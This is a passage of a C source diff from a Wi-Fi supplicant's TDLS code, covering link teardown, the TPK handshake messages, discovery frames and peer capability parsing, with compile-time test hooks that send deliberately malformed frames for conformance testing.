matching entry found for " + "Teardown " MACSTR, MAC2STR(addr)); + return 0; + } + + dialog_token = peer->dtoken; + + wpa_printf(MSG_DEBUG, "TDLS: TDLS Teardown for " MACSTR, + MAC2STR(addr)); + + ielen = 0; + if (wpa_tdls_get_privacy(sm) && peer->tpk_set && peer->tpk_success) { + /* To add FTIE for Teardown request and compute MIC */ + ielen += sizeof(*ftie); +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) + ielen += 170; +#endif /* CONFIG_TDLS_TESTING */ + } + + rbuf = os_zalloc(ielen + 1); + if (rbuf == NULL) + return -1; + pos = rbuf; + + if (!wpa_tdls_get_privacy(sm) || !peer->tpk_set || !peer->tpk_success) + goto skip_ies; + + ftie = (struct wpa_tdls_ftie *) pos; + ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION; + /* Using the recent nonce which should be for CONFIRM frame */ + os_memcpy(ftie->Anonce, peer->rnonce, WPA_NONCE_LEN); + os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN); + ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2; + pos = (u8 *) (ftie + 1); +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to " + "FTIE"); + ftie->ie_len += 170; + *pos++ = 255; /* FTIE subelem */ + *pos++ = 168; /* FTIE subelem length */ + pos += 168; + } +#endif /* CONFIG_TDLS_TESTING */ + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE for TDLS Teardown handshake", + (u8 *) ftie, pos - (u8 *) ftie); + + /* compute MIC before sending */ + wpa_tdls_linkid(sm, peer, &lnkid); + wpa_tdls_key_mic_teardown(peer->tpk.kck, 4, reason_code, + dialog_token, (u8 *) &lnkid, (u8 *) ftie, + ftie->mic); + +skip_ies: + /* TODO: register for a Timeout handler, if Teardown is not received at + * the other end, then try again another time */ + + /* request driver to send Teardown using this FTIE */ + wpa_tdls_tpk_send(sm, addr, WLAN_TDLS_TEARDOWN, 0, + reason_code, rbuf, pos - rbuf); + os_free(rbuf); + + /* clear the Peerkey statemachine */ + wpa_tdls_peer_free(sm, peer); + + return 0; +} + + +int wpa_tdls_teardown_link(struct wpa_sm *sm, const u8 *addr, u16 reason_code) +{ + struct wpa_tdls_peer *peer; + + if (sm->tdls_disabled || !sm->tdls_supported) + return -1; + + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) + break; + } + + if (peer == NULL) { + wpa_printf(MSG_DEBUG, "TDLS: Could not find peer " MACSTR + " for link Teardown", MAC2STR(addr)); + return -1; + } + + if (!peer->tpk_success) { + wpa_printf(MSG_DEBUG, "TDLS: Peer " MACSTR + " not connected - cannot Teardown link", MAC2STR(addr)); + return -1; + } + + return wpa_tdls_do_teardown(sm, peer, reason_code); +} + + +static void wpa_tdls_disable_peer_link(struct wpa_sm *sm, + struct wpa_tdls_peer *peer) +{ + wpa_sm_tdls_oper(sm, TDLS_DISABLE_LINK, peer->addr); + wpa_tdls_peer_free(sm, peer); +} + + +void wpa_tdls_disable_link(struct wpa_sm *sm, const u8 *addr) +{ + struct wpa_tdls_peer *peer; + + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) + break; + } + + if (peer) + wpa_tdls_disable_peer_link(sm, peer); +} + + +const char * wpa_tdls_get_link_status(struct wpa_sm *sm, const u8 *addr) +{ + struct wpa_tdls_peer *peer; + + if (sm->tdls_disabled || !sm->tdls_supported) + return "disabled"; + + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) + break; + } + + if (peer == NULL) + return "peer does not exist"; + + if (!peer->tpk_success) + return "peer not connected"; + + return "connected"; +} + + +static int wpa_tdls_recv_teardown(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_tdls_peer *peer = NULL; + struct wpa_tdls_ftie *ftie; + struct wpa_tdls_lnkid *lnkid; + struct wpa_eapol_ie_parse kde; + u16 reason_code; + const u8 *pos; + int ielen; + + /* Find the node and free from the list */ + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, src_addr, ETH_ALEN) == 0) + break; + } + + if (peer == NULL) { + wpa_printf(MSG_INFO, "TDLS: No matching entry found for " + "Teardown " MACSTR, MAC2STR(src_addr)); + return 0; + } + + pos = buf; + pos += 1 /* pkt_type */ + 1 /* Category */ + 1 /* Action */; + + reason_code = WPA_GET_LE16(pos); + pos += 2; + + wpa_printf(MSG_DEBUG, "TDLS: TDLS Teardown Request from " MACSTR + " (reason code %u)", MAC2STR(src_addr), reason_code); + + ielen = len - (pos - buf); /* start of IE in buf */ + if (wpa_supplicant_parse_ies((const u8 *) pos, ielen, &kde) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse IEs in Teardown"); + return -1; + } + + if (kde.lnkid == NULL || kde.lnkid_len < 3 * ETH_ALEN) { + wpa_printf(MSG_INFO, "TDLS: No Link Identifier IE in TDLS " + "Teardown"); + return -1; + } + lnkid = (struct wpa_tdls_lnkid *) kde.lnkid; + + if (!wpa_tdls_get_privacy(sm) || !peer->tpk_set || !peer->tpk_success) + goto skip_ftie; + + if (kde.ftie == NULL || kde.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_INFO, "TDLS: No FTIE in TDLS Teardown"); + return -1; + } + + ftie = (struct wpa_tdls_ftie *) kde.ftie; + + /* Process MIC check to see if TDLS Teardown is right */ + if (wpa_supplicant_verify_tdls_mic_teardown(4, reason_code, + peer->dtoken, peer, + (u8 *) lnkid, ftie) < 0) { + wpa_printf(MSG_DEBUG, "TDLS: MIC failure for TDLS " + "Teardown Request from " MACSTR, MAC2STR(src_addr)); + return -1; + } + +skip_ftie: + /* + * Request the driver to disable the direct link and clear associated + * keys. + */ + wpa_tdls_disable_peer_link(sm, peer); + return 0; +} + + +/** + * wpa_tdls_send_error - To send suitable TDLS status response with + * appropriate status code mentioning reason for error/failure. + * @dst - MAC addr of Peer station + * @tdls_action - TDLS frame type for which error code is sent + * @status - status code mentioning reason + */ + +static int wpa_tdls_send_error(struct wpa_sm *sm, const u8 *dst, + u8 tdls_action, u8 dialog_token, u16 status) +{ + wpa_printf(MSG_DEBUG, "TDLS: Sending error to " MACSTR + " (action=%u status=%u)", + MAC2STR(dst), tdls_action, status); + return wpa_tdls_tpk_send(sm, dst, tdls_action, dialog_token, status, + NULL, 0); +} + + +static struct wpa_tdls_peer * +wpa_tdls_add_peer(struct wpa_sm *sm, const u8 *addr, int *existing) +{ + struct wpa_tdls_peer *peer; + + if (existing) + *existing = 0; + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) { + if (existing) + *existing = 1; + return peer; /* re-use existing entry */ + } + } + + wpa_printf(MSG_INFO, "TDLS: Creating peer entry for " MACSTR, + MAC2STR(addr)); + + peer = os_zalloc(sizeof(*peer)); + if (peer == NULL) + return NULL; + + os_memcpy(peer->addr, addr, ETH_ALEN); + peer->next = sm->tdls; + sm->tdls = peer; + + return peer; +} + + +static int wpa_tdls_send_tpk_m1(struct wpa_sm *sm, + struct wpa_tdls_peer *peer) +{ + size_t buf_len; + struct wpa_tdls_timeoutie timeoutie; + u16 rsn_capab; + struct wpa_tdls_ftie *ftie; + u8 *rbuf, *pos, *count_pos; + u16 count; + struct rsn_ie_hdr *hdr; + int status; + + if (!wpa_tdls_get_privacy(sm)) { + wpa_printf(MSG_DEBUG, "TDLS: No security used on the link"); + peer->rsnie_i_len = 0; + goto skip_rsnie; + } + + /* + * TPK Handshake Message 1: + * FTIE: ANonce=0, SNonce=initiator nonce MIC=0, DataKDs=(RSNIE_I, + * Timeout Interval IE)) + */ + + /* Filling RSN IE */ + hdr = (struct rsn_ie_hdr *) peer->rsnie_i; + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, RSN_VERSION); + + pos = (u8 *) (hdr + 1); + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_NO_GROUP_ADDRESSED); + pos += RSN_SELECTOR_LEN; + count_pos = pos; + pos += 2; + + count = 0; + + /* + * AES-CCMP is the default Encryption preferred for TDLS, so + * RSN IE is filled only with CCMP CIPHER + * Note: TKIP is not used to encrypt TDLS link. + * + * Regardless of the cipher used on the AP connection, select CCMP + * here. + */ + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_CCMP); + pos += RSN_SELECTOR_LEN; + count++; + + WPA_PUT_LE16(count_pos, count); + + WPA_PUT_LE16(pos, 1); + pos += 2; + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_TPK_HANDSHAKE); + pos += RSN_SELECTOR_LEN; + + rsn_capab = WPA_CAPABILITY_PEERKEY_ENABLED; + rsn_capab |= RSN_NUM_REPLAY_COUNTERS_16 << 2; +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_ALT_RSN_IE) { + wpa_printf(MSG_DEBUG, "TDLS: Use alternative RSN IE for " + "testing"); + rsn_capab = WPA_CAPABILITY_PEERKEY_ENABLED; + } +#endif /* CONFIG_TDLS_TESTING */ + WPA_PUT_LE16(pos, rsn_capab); + pos += 2; +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_ALT_RSN_IE) { + /* Number of PMKIDs */ + *pos++ = 0x00; + *pos++ = 0x00; + } +#endif /* CONFIG_TDLS_TESTING */ + + hdr->len = (pos - peer->rsnie_i) - 2; + peer->rsnie_i_len = pos - peer->rsnie_i; + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE for TPK handshake", + peer->rsnie_i, peer->rsnie_i_len); + +skip_rsnie: + buf_len = 0; + if (wpa_tdls_get_privacy(sm)) + buf_len += peer->rsnie_i_len + sizeof(struct wpa_tdls_ftie) + + sizeof(struct wpa_tdls_timeoutie); +#ifdef CONFIG_TDLS_TESTING + if (wpa_tdls_get_privacy(sm) && + (tdls_testing & TDLS_TESTING_LONG_FRAME)) + buf_len += 170; + if (tdls_testing & TDLS_TESTING_DIFF_BSSID) + buf_len += sizeof(struct wpa_tdls_lnkid); +#endif /* CONFIG_TDLS_TESTING */ + rbuf = os_zalloc(buf_len + 1); + if (rbuf == NULL) { + wpa_tdls_peer_free(sm, peer); + return -1; + } + pos = rbuf; + + if (!wpa_tdls_get_privacy(sm)) + goto skip_ies; + + /* Initiator RSN IE */ + pos = wpa_add_ie(pos, peer->rsnie_i, peer->rsnie_i_len); + + ftie = (struct wpa_tdls_ftie *) pos; + ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION; + ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2; + + if (os_get_random(peer->inonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "TDLS: Failed to get random data for initiator Nonce"); + os_free(rbuf); + wpa_tdls_peer_free(sm, peer); + return -1; + } + wpa_hexdump(MSG_DEBUG, "TDLS: Initiator Nonce for TPK handshake", + peer->inonce, WPA_NONCE_LEN); + os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN); + + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE for TPK Handshake M1", + (u8 *) ftie, sizeof(struct wpa_tdls_ftie)); + + pos = (u8 *) (ftie + 1); + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to " + "FTIE"); + ftie->ie_len += 170; + *pos++ = 255; /* FTIE subelem */ + *pos++ = 168; /* FTIE subelem length */ + pos += 168; + } +#endif /* CONFIG_TDLS_TESTING */ + + /* Lifetime */ + peer->lifetime = TPK_LIFETIME; +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_SHORT_LIFETIME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - use short TPK " + "lifetime"); + peer->lifetime = 301; + } + if (tdls_testing & TDLS_TESTING_LONG_LIFETIME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - use long TPK " + "lifetime"); + peer->lifetime = 0xffffffff; + } +#endif /* CONFIG_TDLS_TESTING */ + pos = wpa_add_tdls_timeoutie(pos, (u8 *) &timeoutie, + sizeof(timeoutie), peer->lifetime); + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime %u seconds", peer->lifetime); + +skip_ies: + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_DIFF_BSSID) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - use incorrect BSSID in " + "Link Identifier"); + struct wpa_tdls_lnkid *l = (struct wpa_tdls_lnkid *) pos; + wpa_tdls_linkid(sm, peer, l); + l->bssid[5] ^= 0x01; + pos += sizeof(*l); + } +#endif /* CONFIG_TDLS_TESTING */ + + wpa_printf(MSG_DEBUG, "TDLS: Sending TDLS Setup Request / TPK " + "Handshake Message 1 (peer " MACSTR ")", + MAC2STR(peer->addr)); + + status = wpa_tdls_tpk_send(sm, peer->addr, WLAN_TDLS_SETUP_REQUEST, + 1, 0, rbuf, pos - rbuf); + os_free(rbuf); + + return status; +} + + +static int wpa_tdls_send_tpk_m2(struct wpa_sm *sm, + const unsigned char *src_addr, u8 dtoken, + struct wpa_tdls_lnkid *lnkid, + const struct wpa_tdls_peer *peer) +{ + u8 *rbuf, *pos; + size_t buf_len; + u32 lifetime; + struct wpa_tdls_timeoutie timeoutie; + struct wpa_tdls_ftie *ftie; + int status; + + buf_len = 0; + if (wpa_tdls_get_privacy(sm)) { + /* Peer RSN IE, FTIE(Initiator Nonce, Responder Nonce), + * Lifetime */ + buf_len += peer->rsnie_i_len + sizeof(struct wpa_tdls_ftie) + + sizeof(struct wpa_tdls_timeoutie); +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) + buf_len += 170; +#endif /* CONFIG_TDLS_TESTING */ + } + + rbuf = os_zalloc(buf_len + 1); + if (rbuf == NULL) + return -1; + pos = rbuf; + + if (!wpa_tdls_get_privacy(sm)) + goto skip_ies; + + /* Peer RSN IE */ + pos = wpa_add_ie(pos, peer->rsnie_p, peer->rsnie_p_len); + + ftie = (struct wpa_tdls_ftie *) pos; + ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION; + /* TODO: ftie->mic_control to set 2-RESPONSE */ + os_memcpy(ftie->Anonce, peer->rnonce, WPA_NONCE_LEN); + os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN); + ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2; + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE for TPK M2", + (u8 *) ftie, sizeof(*ftie)); + + pos = (u8 *) (ftie + 1); + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to " + "FTIE"); + ftie->ie_len += 170; + *pos++ = 255; /* FTIE subelem */ + *pos++ = 168; /* FTIE subelem length */ + pos += 168; + } +#endif /* CONFIG_TDLS_TESTING */ + + /* Lifetime */ + lifetime = peer->lifetime; +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_WRONG_LIFETIME_RESP) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - use wrong TPK " + "lifetime in response"); + lifetime++; + } +#endif /* CONFIG_TDLS_TESTING */ + pos = wpa_add_tdls_timeoutie(pos, (u8 *) &timeoutie, + sizeof(timeoutie), lifetime); + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime %u seconds from initiator", + lifetime); + + /* compute MIC before sending */ + wpa_tdls_ftie_mic(peer->tpk.kck, 2, (u8 *) lnkid, peer->rsnie_p, + (u8 *) &timeoutie, (u8 *) ftie, ftie->mic); + +skip_ies: + status = wpa_tdls_tpk_send(sm, src_addr, WLAN_TDLS_SETUP_RESPONSE, + dtoken, 0, rbuf, pos - rbuf); + os_free(rbuf); + + return status; +} + + +static int wpa_tdls_send_tpk_m3(struct wpa_sm *sm, + const unsigned char *src_addr, u8 dtoken, + struct wpa_tdls_lnkid *lnkid, + const struct wpa_tdls_peer *peer) +{ + u8 *rbuf, *pos; + size_t buf_len; + struct wpa_tdls_ftie *ftie; + struct wpa_tdls_timeoutie timeoutie; + u32 lifetime; + int status; + + buf_len = 0; + if (wpa_tdls_get_privacy(sm)) { + /* Peer RSN IE, FTIE(Initiator Nonce, Responder Nonce), + * Lifetime */ + buf_len += peer->rsnie_i_len + sizeof(struct wpa_tdls_ftie) + + sizeof(struct wpa_tdls_timeoutie); +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) + buf_len += 170; +#endif /* CONFIG_TDLS_TESTING */ + } + + rbuf = os_zalloc(buf_len + 1); + if (rbuf == NULL) + return -1; + pos = rbuf; + + if (!wpa_tdls_get_privacy(sm)) + goto skip_ies; + + /* Peer RSN IE */ + pos = wpa_add_ie(pos, peer->rsnie_p, peer->rsnie_p_len); + + ftie = (struct wpa_tdls_ftie *) pos; + ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION; + /*TODO: ftie->mic_control to set 3-CONFIRM */ + os_memcpy(ftie->Anonce, peer->rnonce, WPA_NONCE_LEN); + os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN); + ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2; + + pos = (u8 *) (ftie + 1); + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_LONG_FRAME) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to " + "FTIE"); + ftie->ie_len += 170; + *pos++ = 255; /* FTIE subelem */ + *pos++ = 168; /* FTIE subelem length */ + pos += 168; + } +#endif /* CONFIG_TDLS_TESTING */ + + /* Lifetime */ + lifetime = peer->lifetime; +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_WRONG_LIFETIME_CONF) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - use wrong TPK " + "lifetime in confirm"); + lifetime++; + } +#endif /* CONFIG_TDLS_TESTING */ + pos = wpa_add_tdls_timeoutie(pos, (u8 *) &timeoutie, + sizeof(timeoutie), lifetime); + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime %u seconds", + lifetime); + + /* compute MIC before sending */ + wpa_tdls_ftie_mic(peer->tpk.kck, 3, (u8 *) lnkid, peer->rsnie_p, + (u8 *) &timeoutie, (u8 *) ftie, ftie->mic); + +skip_ies: + status = wpa_tdls_tpk_send(sm, src_addr, WLAN_TDLS_SETUP_CONFIRM, + dtoken, 0, rbuf, pos - rbuf); + os_free(rbuf); + + return status; +} + + +static int wpa_tdls_send_discovery_response(struct wpa_sm *sm, + struct wpa_tdls_peer *peer, + u8 dialog_token) +{ + wpa_printf(MSG_DEBUG, "TDLS: Sending TDLS Discovery Response " + "(peer " MACSTR ")", MAC2STR(peer->addr)); + + return wpa_tdls_tpk_send(sm, peer->addr, WLAN_TDLS_DISCOVERY_RESPONSE, + dialog_token, 0, NULL, 0); +} + + +static int +wpa_tdls_process_discovery_request(struct wpa_sm *sm, const u8 *addr, + const u8 *buf, size_t len) +{ + struct wpa_eapol_ie_parse kde; + const struct wpa_tdls_lnkid *lnkid; + struct wpa_tdls_peer *peer; + size_t min_req_len = sizeof(struct wpa_tdls_frame) + + 1 /* dialog token */ + sizeof(struct wpa_tdls_lnkid); + u8 dialog_token; + + wpa_printf(MSG_DEBUG, "TDLS: Discovery Request from " MACSTR, + MAC2STR(addr)); + + if (len < min_req_len) { + wpa_printf(MSG_DEBUG, "TDLS Discovery Request is too short: " + "%d", (int) len); + return -1; + } + + dialog_token = buf[sizeof(struct wpa_tdls_frame)]; + + if (wpa_supplicant_parse_ies(buf + sizeof(struct wpa_tdls_frame) + 1, + len - (sizeof(struct wpa_tdls_frame) + 1), + &kde) < 0) + return -1; + + if (!kde.lnkid) { + wpa_printf(MSG_DEBUG, "TDLS: Link ID not found in Discovery " + "Request"); + return -1; + } + + lnkid = (const struct wpa_tdls_lnkid *) kde.lnkid; + + if (os_memcmp(sm->bssid, lnkid->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "TDLS: Discovery Request from different " + " BSS " MACSTR, MAC2STR(lnkid->bssid)); + return -1; + } + + peer = wpa_tdls_add_peer(sm, addr, NULL); + if (peer == NULL) + return -1; + + return wpa_tdls_send_discovery_response(sm, peer, dialog_token); +} + + +int wpa_tdls_send_discovery_request(struct wpa_sm *sm, const u8 *addr) +{ + if (sm->tdls_disabled || !sm->tdls_supported) + return -1; + + wpa_printf(MSG_DEBUG, "TDLS: Sending Discovery Request to peer " + MACSTR, MAC2STR(addr)); + return wpa_tdls_tpk_send(sm, addr, WLAN_TDLS_DISCOVERY_REQUEST, + 1, 0, NULL, 0); +} + + +static int copy_supp_rates(const struct wpa_eapol_ie_parse *kde, + struct wpa_tdls_peer *peer) +{ + if (!kde->supp_rates) { + wpa_printf(MSG_DEBUG, "TDLS: No supported rates received"); + return -1; + } + peer->supp_rates_len = merge_byte_arrays( + peer->supp_rates, sizeof(peer->supp_rates), + kde->supp_rates + 2, kde->supp_rates_len - 2, + kde->ext_supp_rates ? kde->ext_supp_rates + 2 : NULL, + kde->ext_supp_rates_len - 2); + return 0; +} + + +static int copy_peer_ht_capab(const struct wpa_eapol_ie_parse *kde, + struct wpa_tdls_peer *peer) +{ + if (!kde->ht_capabilities || + kde->ht_capabilities_len < + sizeof(struct ieee80211_ht_capabilities) ) { + wpa_printf(MSG_DEBUG, "TDLS: No supported ht capabilities " + "received"); + return 0; + } + + if (!peer->ht_capabilities) { + peer->ht_capabilities = + os_zalloc(sizeof(struct ieee80211_ht_capabilities)); + if (peer->ht_capabilities == NULL) + return -1; + } + + os_memcpy(peer->ht_capabilities, kde->ht_capabilities, + sizeof(struct ieee80211_ht_capabilities)); + wpa_hexdump(MSG_DEBUG, "TDLS: Peer HT capabilities", + (u8 *) peer->ht_capabilities, + sizeof(struct ieee80211_ht_capabilities)); + + return 0; +} + + +static int copy_peer_vht_capab(const struct wpa_eapol_ie_parse *kde, + struct wpa_tdls_peer *peer) +{ + if (!kde->vht_capabilities || + kde->vht_capabilities_len < + sizeof(struct ieee80211_vht_capabilities) ) { + wpa_printf(MSG_DEBUG, "TDLS: No supported vht capabilities " + "received"); + return 0; + } + + if (!peer->vht_capabilities) { + peer->vht_capabilities = + os_zalloc(sizeof(struct ieee80211_vht_capabilities)); + if (peer->vht_capabilities == NULL) + return -1; + } + + os_memcpy(peer->vht_capabilities, kde->vht_capabilities, + sizeof(struct ieee80211_vht_capabilities)); + wpa_hexdump(MSG_DEBUG, "TDLS: Peer VHT capabilities", + (u8 *) peer->vht_capabilities, + sizeof(struct ieee80211_vht_capabilities)); + + return 0; +} + + +static int copy_peer_ext_capab(const struct wpa_eapol_ie_parse *kde, + struct wpa_tdls_peer *peer) +{ + if (!kde->ext_capab) { + wpa_printf(MSG_DEBUG, "TDLS: No extended capabilities " + "received"); + return 0; + } + + if (!peer->ext_capab || peer->ext_capab_len < kde->ext_capab_len - 2) { + /* Need to allocate buffer to fit the new information */ + os_free(peer->ext_capab); + peer->ext_capab = os_zalloc(kde->ext_capab_len - 2); + if (peer->ext_capab == NULL) + return -1; + } + + peer->ext_capab_len = kde->ext_capab_len - 2; + os_memcpy(peer->ext_capab, kde->ext_capab + 2, peer->ext_capab_len); + + return 0; +} + + +static int wpa_tdls_process_tpk_m1(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_tdls_peer *peer; + struct wpa_eapol_ie_parse kde; + struct wpa_ie_data ie; + int cipher; + const u8 *cpos; + struct wpa_tdls_ftie *ftie = NULL; + struct wpa_tdls_timeoutie *timeoutie; + struct wpa_tdls_lnkid *lnkid; + u32 lifetime = 0; +#if 0 + struct rsn_ie_hdr *hdr; + u8 *pos; + u16 rsn_capab; + u16 rsn_ver; +#endif + u8 dtoken; + u16 ielen; + u16 status = WLAN_STATUS_UNSPECIFIED_FAILURE; + int tdls_prohibited = sm->tdls_prohibited; + int existing_peer = 0; + + if (len < 3 + 3) + return -1; + + cpos = buf; + cpos += 1 /* pkt_type */ + 1 /* Category */ + 1 /* Action */; + + /* driver had already verified the frame format */ + dtoken = *cpos++; /* dialog token */ + + wpa_printf(MSG_INFO, "TDLS: Dialog Token in TPK M1 %d", dtoken); + + peer = wpa_tdls_add_peer(sm, src_addr, &existing_peer); + if (peer == NULL) + goto error; + + /* If found, use existing entry instead of adding a new one; + * how to handle the case where both ends initiate at the + * same time? */ + if (existing_peer) { + if (peer->tpk_success) { + wpa_printf(MSG_DEBUG, "TDLS: TDLS Setup Request while " + "direct link is enabled - tear down the " + "old link first"); + wpa_tdls_disable_peer_link(sm, peer); + } + + /* + * An entry is already present, so check if we already sent a + * TDLS Setup Request. If so, compare MAC addresses and let the + * STA with the lower MAC address continue as the initiator. + * The other negotiation is terminated. + */ + if (peer->initiator) { + if (os_memcmp(sm->own_addr, src_addr, ETH_ALEN) < 0) { + wpa_printf(MSG_DEBUG, "TDLS: Discard request " + "from peer with higher address " + MACSTR, MAC2STR(src_addr)); + return -1; + } else { + wpa_printf(MSG_DEBUG, "TDLS: Accept request " + "from peer with lower address " + MACSTR " (terminate previously " + "initiated negotiation", + MAC2STR(src_addr)); + wpa_tdls_disable_peer_link(sm, peer); + } + } + } + + /* capability information */ + peer->capability = WPA_GET_LE16(cpos); + cpos += 2; + + ielen = len - (cpos - buf); /* start of IE in buf */ + if (wpa_supplicant_parse_ies(cpos, ielen, &kde) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse IEs in TPK M1"); + goto error; + } + + if (kde.lnkid == NULL || kde.lnkid_len < 3 * ETH_ALEN) { + wpa_printf(MSG_INFO, "TDLS: No valid Link Identifier IE in " + "TPK M1"); + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: Link ID Received from TPK M1", + kde.lnkid, kde.lnkid_len); + lnkid = (struct wpa_tdls_lnkid *) kde.lnkid; + if (os_memcmp(sm->bssid, lnkid->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_INFO, "TDLS: TPK M1 from diff BSS"); + status = WLAN_STATUS_NOT_IN_SAME_BSS; + goto error; + } + + wpa_printf(MSG_DEBUG, "TDLS: TPK M1 - TPK initiator " MACSTR, + MAC2STR(src_addr)); + + if (copy_supp_rates(&kde, peer) < 0) + goto error; + + if (copy_peer_ht_capab(&kde, peer) < 0) + goto error; + + if (copy_peer_vht_capab(&kde, peer) < 0) + goto error; + + if (copy_peer_ext_capab(&kde, peer) < 0) + goto error; + + peer->qos_info = kde.qosinfo; + + peer->aid = kde.aid; + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_CONCURRENT_INIT) { + peer = wpa_tdls_add_peer(sm, src_addr, NULL); + if (peer == NULL) + goto error; + wpa_printf(MSG_DEBUG, "TDLS: Testing concurrent initiation of " + "TDLS setup - send own request"); + peer->initiator = 1; + wpa_tdls_send_tpk_m1(sm, peer); + } + + if ((tdls_testing & TDLS_TESTING_IGNORE_AP_PROHIBIT) && + tdls_prohibited) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - ignore AP prohibition " + "on TDLS"); + tdls_prohibited = 0; + } +#endif /* CONFIG_TDLS_TESTING */ + + if (tdls_prohibited) { + wpa_printf(MSG_INFO, "TDLS: TDLS prohibited in this BSS"); + status = WLAN_STATUS_REQUEST_DECLINED; + goto error; + } + + if (!wpa_tdls_get_privacy(sm)) { + if (kde.rsn_ie) { + wpa_printf(MSG_INFO, "TDLS: RSN IE in TPK M1 while " + "security is disabled"); + status = WLAN_STATUS_SECURITY_DISABLED; + goto error; + } + goto skip_rsn; + } + + if (kde.ftie == NULL || kde.ftie_len < sizeof(*ftie) || + kde.rsn_ie == NULL) { + wpa_printf(MSG_INFO, "TDLS: No FTIE or RSN IE in TPK M1"); + status = WLAN_STATUS_INVALID_PARAMETERS; + goto error; + } + + if (kde.rsn_ie_len > TDLS_MAX_IE_LEN) { + wpa_printf(MSG_INFO, "TDLS: Too long Initiator RSN IE in " + "TPK M1"); + status = WLAN_STATUS_INVALID_RSNIE; + goto error; + } + + if (wpa_parse_wpa_ie_rsn(kde.rsn_ie, kde.rsn_ie_len, &ie) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse RSN IE in TPK M1"); + status = WLAN_STATUS_INVALID_RSNIE; + goto error; + } + + cipher = ie.pairwise_cipher; + if (cipher & WPA_CIPHER_CCMP) { + wpa_printf(MSG_DEBUG, "TDLS: Using CCMP for direct link"); + cipher = WPA_CIPHER_CCMP; + } else { + wpa_printf(MSG_INFO, "TDLS: No acceptable cipher in TPK M1"); + status = WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; + goto error; + } + + if ((ie.capabilities & + (WPA_CAPABILITY_NO_PAIRWISE | WPA_CAPABILITY_PEERKEY_ENABLED)) != + WPA_CAPABILITY_PEERKEY_ENABLED) { + wpa_printf(MSG_INFO, "TDLS: Invalid RSN Capabilities in " + "TPK M1"); + status = WLAN_STATUS_INVALID_RSN_IE_CAPAB; + goto error; + } + + /* Lifetime */ + if (kde.key_lifetime == NULL) { + wpa_printf(MSG_INFO, "TDLS: No Key Lifetime IE in TPK M1"); + status = WLAN_STATUS_UNACCEPTABLE_LIFETIME; + goto error; + } + timeoutie = (struct wpa_tdls_timeoutie *) kde.key_lifetime; + lifetime = WPA_GET_LE32(timeoutie->value); + wpa_printf(MSG_DEBUG, 